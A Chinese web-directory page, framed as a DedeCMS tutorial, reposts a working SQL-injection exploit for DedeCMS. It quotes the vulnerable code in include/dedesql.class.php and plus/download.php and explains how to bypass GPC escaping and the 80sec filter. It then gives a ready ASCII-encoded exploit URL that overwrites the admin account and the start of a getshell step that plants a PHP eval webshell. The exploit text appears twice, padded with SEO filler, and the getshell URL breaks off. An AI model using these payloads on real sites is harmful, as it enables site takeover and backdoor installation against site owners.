Welcome to the website navigation,本站只接受合法正规的企业网站,欢迎站长们提交你的网站获得展示和流量有任何问题请联系站长,欢迎大家加入本站。

                
提交网站
  • 网站:76083
  • 待审:5
  • APP:577
  • 文章:304411
  • 会员:56004
文字内链包年1000元 文字内链包年1000元 文字内链包年1000元 AI办公网站 AI绘画工具 AIchat

名站网址导航为大驾家提供DedeCMS站点程序站点教程相关的知识,比如织梦程序安装教程,织梦程序系统故障等教程。织梦程序dedecms网站程序此漏洞无视gpc转义,过80sec注入防御。 补充下,不用担心网站的后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到ShELL? 起因是全局变量$GLOBALS可以被任意修改,随便看了下,织梦程序dedecms网站程序漏洞一堆,我只找了一处织梦程序dedecms网站程序。 include/dedesql.class.php if(isset($GLOBALS['arrs1']))      {          $v1 = $v2 = '';          for($i=0;isset($arrs1[$i]);$i )          {              $v1 .= chr($arrs1[$i]);          }          for($i=0;isset($arrs2[$i]);$i )          {              $v2 .= chr($arrs2[$i]);   //解码ascii          }          $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是      }                 function SetQuery($sql)          {              $prefix="zmb_";              $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。              $this->queryString = $sql;          } 另外说下绕过80sec防注入的相关具体操作方法。 同一网站文件中,有两个执行SQL的系统数据库函数。ExecuteNoneQuery和ExecuteNoneQuery2 而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的网站文件。 plus/download.php else if($open==1)      {          $id = isset($id) && is_numeric($id) ? $id : 0;          $link = base64_decode(urldecode($link));          $hash = md5($link);      //这里的#@_是可以控制的          $rs = $dsql->ExecuteNoneQuery2("UPDATE `dede_downloads` SET downloads = downloads 1 WhERE hash='$hash' ");          if($rs <= 0)     {         $query = " INSERT INTO `dede_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);          }          header("location:$link");          exit();      } 构造SQL语句 (提交的时候用ascii加密,程序会帮咱们自动解密的,所以无视gpc): admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 # 完整SQL语句: UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads 1 WhERE hash='$hash' EXP: http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 如果不出问题,网站的后台登录用户spider密码admin 漏洞真的不止一处,各种包含,远程相关具体代码如下执行,很多,列位慢慢研究。 如果找不到网站的后台,参见以前修改数据库直接拿ShELL的相关具体操作方法 UPDATE `dede_mytag` SET `normbody` = '{dede:php}file_put_contents(''spider.php'',''<!--?php eval( 此漏洞无视gpc转义,过80sec注入防御。 补充下,不用担心网站的后台找不到。这只是一个demo,都能修改任意数据库了,还怕拿不到ShELL? 起因是全局变量$GLOBALS可以被任意修改,随便看了下,漏洞一堆,我只找了一处。 include/dedesql.class.php if(isset($GLOBALS['arrs1']))      {          $v1 = $v2 = '';          for($i=0;isset($arrs1[$i]);$i )          {              $v1 .= chr($arrs1[$i]);          }          for($i=0;isset($arrs2[$i]);$i )          {              $v2 .= chr($arrs2[$i]);   //解码ascii          }          $GLOBALS[$v1] .= $v2; //注意这里不是覆盖,是      }                 function SetQuery($sql)          {              $prefix="zmb_";              $sql = str_replace($prefix,$GLOBALS['cfg_dbprefix'],$sql);  //看到这里无话可说,不明白为什么要这样做。              $this->queryString = $sql;          } 另外说下绕过80sec防注入的相关具体操作方法。 同一网站文件中,有两个执行SQL的系统数据库函数。ExecuteNoneQuery和ExecuteNoneQuery2 而用ExecuteNoneQuery2执行SQL并没有防注入,于是随便找个用ExecuteNoneQuery2执行的网站文件。 plus/download.php else if($open==1)      {          $id = isset($id) && is_numeric($id) ? $id : 0;          $link = base64_decode(urldecode($link));          $hash = md5($link);      //这里的#@_是可以控制的          $rs = $dsql->ExecuteNoneQuery2("UPDATE `zmb_downloads` SET downloads = downloads 1 WhERE hash='$hash' ");          if($rs <= 0)     {         $query = " INSERT INTO `zmb_downloads`(`hash`,`id`,`downloads`) VALUES('$hash','$id',1); ";         $dsql->ExecNoneQuery($query);          }          header("location:$link");          exit();      } 构造SQL语句 (提交的时候用ascii加密,程序会帮咱们自动解密的,所以无视gpc):   admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #   完整SQL语句: UPDATE `dede_admin` SET `userid`='spider', `pwd`='f297a57a5a743894a0e4' where id=1 #_downloads` SET downloads = downloads 1 WhERE hash='$hash' EXP: http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35   如果不出问题,网站的后台登录用户spider密码admin 漏洞真的不止一处,各种包含,远程相关具体代码如下执行,很多,列位慢慢研究。   如果找不到网站的后台,参见以前修改数据库直接拿ShELL的相关具体操作方法   ___FCKpd___6   getshell: http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[

dedecms网站程序织梦程序首页制作分页的3种相关具体操作方法gTqAIChat_企业网址导航_网址分类目录_企业黄页网址提交查询专业网站!

gTqAIChat_企业网址导航_网址分类目录_企业黄页网址提交查询专业网站!

关于DedeCMS站点程序站点教程相关的知识,就说到这里了希望能帮助朋友们。

标签:

分享到:

  网友投稿

注册时间:

网站:0 个   APP:0 个  文章:0 篇

  • 76083

    网站

  • 577

    APP

  • 304411

    文章

  • 56004

    会员

赶快注册账号,推广您的网站吧!
文章分类
热门网站
最新入驻APP小程序

宝贝市场2023-02-08

宝贝市场——买手和卖家商品展示

夺宝助手2023-02-08

夺宝助手小程序,查看每日快夺宝平

查诚信2023-02-08

查诚信是一款免费的商业查询工具

车价天天报2023-02-08

快速连接汽车销售,获知汽车最新报

考勤助理小程序2023-02-08

上班签到考勤,实时定位,后台轻松

汽车报价大全查询2023-02-08

汽车报价大全查询提供最新汽车市